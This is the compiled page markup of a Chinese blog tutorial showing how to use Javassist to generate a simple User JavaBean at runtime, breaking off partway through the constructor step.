t("ContentSlotsDistributor",{attrs:{"slot-key":s.$parent.slotKey}},[t("h1",{attrs:{id:"字节码编程-使用javassist生成javabean"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#字节码编程-使用javassist生成javabean"}},[s._v("#")]),s._v(" 字节码编程 | 使用Javassist生成JavaBean")]),s._v(" "),t("p",[t("strong",[s._v("大家好,我是冰河~~")])]),s._v(" "),t("p",[s._v("在实际工作过程中,我们可以通过对Java的字节码进行插桩,以便拦截我们需要拦截的类和方法,对这些类和方法进行改造或者直接动态生成相应的类来实现拦截的逻辑。")]),s._v(" "),t("p",[s._v("这种方式几乎不需要修改源程序就能够达到我们想要的效果。今天,我们就一起使用Javassist来动态生成JavaBean对象。")]),s._v(" "),t("p",[s._v("掌握这个知识点后以便后续我们在手撸DAPM(分布式性能管理系统)时能够动态生成JavaBean对象来反序列化客户端发送的数据,或者从服务端响应回来的数据。")]),s._v(" "),t("p",[s._v("相关的案例程序代码可以关注公众号:"),t("strong",[s._v("冰河技术")]),s._v(" 获取,也可以直接到Github和Gitee获取。")]),s._v(" "),t("blockquote",[t("p",[s._v("Github:https://github.com/sunshinelyz/bytecode")]),s._v(" "),t("p",[s._v("Gitee:https://gitee.com/binghe001/bytecode")])]),s._v(" "),t("p",[s._v("注:本文的源代码对应着 "),t("code",[s._v("bytecode-javassist-03")]),s._v(" 的程序源代码。")]),s._v(" "),t("h2",{attrs:{id:"开发环境"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#开发环境"}},[s._v("#")]),s._v(" 开发环境")]),s._v(" "),t("ul",[t("li",[s._v("JDK 1.8")]),s._v(" "),t("li",[s._v("IDEA 2018.03")]),s._v(" "),t("li",[s._v("Maven 3.6.0")])]),s._v(" "),t("h2",{attrs:{id:"maven依赖"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#maven依赖"}},[s._v("#")]),s._v(" Maven依赖")]),s._v(" "),t("p",[s._v("在项目的pom.xml文件中添加如下环境依赖。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token generics"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("properties"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token generics"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("javassist"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("version"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("3.20")]),t("span",{pre:!0,attrs:{class:"token number"}},[s._v(".0")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("-")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("GA")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("<")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("/")]),s._v("javassist"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("version"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("<")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("/")]),s._v("properties"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v("\n\n"),t("span",{pre:!0,attrs:{class:"token generics"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("dependencies"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token generics"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("dependency"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token generics"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("groupId"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("org"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("javassist"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("<")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("/")]),s._v("groupId"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token generics"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("artifactId"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("javassist"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("<")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("/")]),s._v("artifactId"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token generics"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("version"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("$"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("javassist"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("version"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("<")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("/")]),s._v("version"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("<")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("/")]),s._v("dependency"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("<")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("/")]),s._v("dependencies"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br")])]),t("h2",{attrs:{id:"案例效果"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#案例效果"}},[s._v("#")]),s._v(" 案例效果")]),s._v(" "),t("p",[s._v("整体案例的效果比较简单,就是通过运行我们写的程序,能够动态生成User类的class字节码。如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("package")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("io"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("binghe"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("bytecode"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("javassist"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("bean")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("User")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" name "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("User")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("name "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("User")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" var1"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("name "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" var1"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setName")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" var1"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("name "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" var1"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getName")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("name"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("printName")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("name"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br"),t("span",{staticClass:"line-number"},[s._v("12")]),t("br"),t("span",{staticClass:"line-number"},[s._v("13")]),t("br"),t("span",{staticClass:"line-number"},[s._v("14")]),t("br"),t("span",{staticClass:"line-number"},[s._v("15")]),t("br"),t("span",{staticClass:"line-number"},[s._v("16")]),t("br"),t("span",{staticClass:"line-number"},[s._v("17")]),t("br"),t("span",{staticClass:"line-number"},[s._v("18")]),t("br"),t("span",{staticClass:"line-number"},[s._v("19")]),t("br"),t("span",{staticClass:"line-number"},[s._v("20")]),t("br"),t("span",{staticClass:"line-number"},[s._v("21")]),t("br"),t("span",{staticClass:"line-number"},[s._v("22")]),t("br"),t("span",{staticClass:"line-number"},[s._v("23")]),t("br"),t("span",{staticClass:"line-number"},[s._v("24")]),t("br"),t("span",{staticClass:"line-number"},[s._v("25")]),t("br")])]),t("ul",[t("li",[s._v("在这个User类中,有一个成员变量name,默认值为binghe。")]),s._v(" "),t("li",[s._v("分别有一个无参构造方法和有参构造方法。")]),s._v(" "),t("li",[s._v("成员变量name的get/set方法。")]),s._v(" "),t("li",[s._v("打印成员变量name的方法printName()。")])]),s._v(" "),t("p",[s._v("了解完案例的效果后,我们就开始动手实现如何动态生成这个User类。")]),s._v(" "),t("h2",{attrs:{id:"案例实现"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#案例实现"}},[s._v("#")]),s._v(" 案例实现")]),s._v(" "),t("p",[s._v("具体的案例实现,我们可以参考案例的效果一步步完成,这里,我们可以将整个User类的动态生成过程分为6个步骤,分别为:")]),s._v(" "),t("ul",[t("li",[s._v("创建User类。")]),s._v(" "),t("li",[s._v("添加name字段。")]),s._v(" "),t("li",[s._v("添加无参构造方法。")]),s._v(" "),t("li",[s._v("添加有参构造方法。")]),s._v(" "),t("li",[s._v("添加get/set方法。")]),s._v(" "),t("li",[s._v("添加printName()方法。")])]),s._v(" "),t("p",[s._v("好了,说干就干,接下来就按照这5个步骤动态生成User类。")]),s._v(" "),t("h3",{attrs:{id:"创建user类"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#创建user类"}},[s._v("#")]),s._v(" 创建User类")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//使用默认的ClassPool")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ClassPool")]),s._v(" pool "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ClassPool")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getDefault")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n"),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//1.创建一个空类")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtClass")]),s._v(" ctClass "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" pool"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("makeClass")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"io.binghe.bytecode.javassist.bean.User"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br")])]),t("p",[s._v("User类的创建方法和我们之前创建HelloWorld的类是相同的,首先是获取一个ClassPool对象,通过调用ClassPool对象的makeClass方法创建User类。")]),s._v(" "),t("h3",{attrs:{id:"添加name字段"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#添加name字段"}},[s._v("#")]),s._v(" 添加name字段")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//2.新增一个字段 private String name; 字段的名称为name")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtField")]),s._v(" param "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtField")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("pool"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("get")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"java.lang.String"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"name"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//设置访问修饰符为private")]),s._v("\nparam"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setModifiers")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Modifier")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("PRIVATE")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//设置字段的初始值为binghe")]),s._v("\nctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("addField")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("param"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtField"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("Initializer")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("constant")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br")])]),t("p",[s._v("为User类添加成员变量name时,使用了Javassist中的CtField类。这里,我们使用的CtField的构造方法的第一个参数是成员变量的类型,第二个参数是变量的名称,第三个字段表示将这个变量添加到哪个类。")]),s._v(" "),t("p",[s._v("创建完CtField对象param后,我们调用了param的setModifiers()方法设置访问修饰符,这里将其设置为private。")]),s._v(" "),t("p",[s._v("接下来,为成员变量name赋默认值binghe。上述代码生成的效果如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" name "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br")])]),t("h3",{attrs:{id:"添加无参构造方法"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#添加无参构造方法"}},[s._v("#")]),s._v(" 添加无参构造方法")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//3.添加无参的构造函数")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtConstructor")]),s._v(" constructor "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtConstructor")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtClass")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\nconstructor"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setBody")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"{"')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('" $0.name = \\"binghe\\"; "')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"}"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\nctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("addConstructor")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("constructor"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br")])]),t("p",[s._v("添加无参构造方法时,使用了Javassist中的CtConstructor类,第一个参数是动态生成的目标类的构造方法的参数类型数组,第二个参数表示将构造方法添加到哪个类中。")]),s._v(" "),t("p",[s._v("接下来,通过调用CtConstructor的setBody()方法设置无参构造方法的方法体。这里需要注意的是方法体中只有一行代码时,可以省略"),t("code",[s._v("{}")]),s._v(", 但是为了防止出错,冰河强烈建议无论方法是否只有一行代码,都不要省略 "),t("code",[s._v("{}")]),s._v("。")]),s._v(" "),t("p",[s._v("细心的小伙伴肯定会发现在方法体中通过"),t("code",[s._v("$0")]),s._v("引用了成员变量name,估计小伙伴们也猜到了这个 "),t("code",[s._v("$0")]),s._v(" 是干啥的。没错,它在生成User类后会被编译成"),t("code",[s._v("this")]),s._v("。")]),s._v(" "),t("p",[t("strong",[s._v("在Javassist中,还会有一些其他具有特定含义的符号,这个我们在文章的最后统一说明。")])]),s._v(" "),t("p",[s._v("这段代码的效果如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("User")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("name "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br")])]),t("p",[s._v("接下来,就是调用CtClass的addConstructor()方法为User类添加无参构造方法。")]),s._v(" "),t("h3",{attrs:{id:"添加有参构造方法"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#添加有参构造方法"}},[s._v("#")]),s._v(" 添加有参构造方法")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//4.添加有参构造函数")]),s._v("\nconstructor "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtConstructor")]),t("span",{pre:!0,attrs:{class:"token 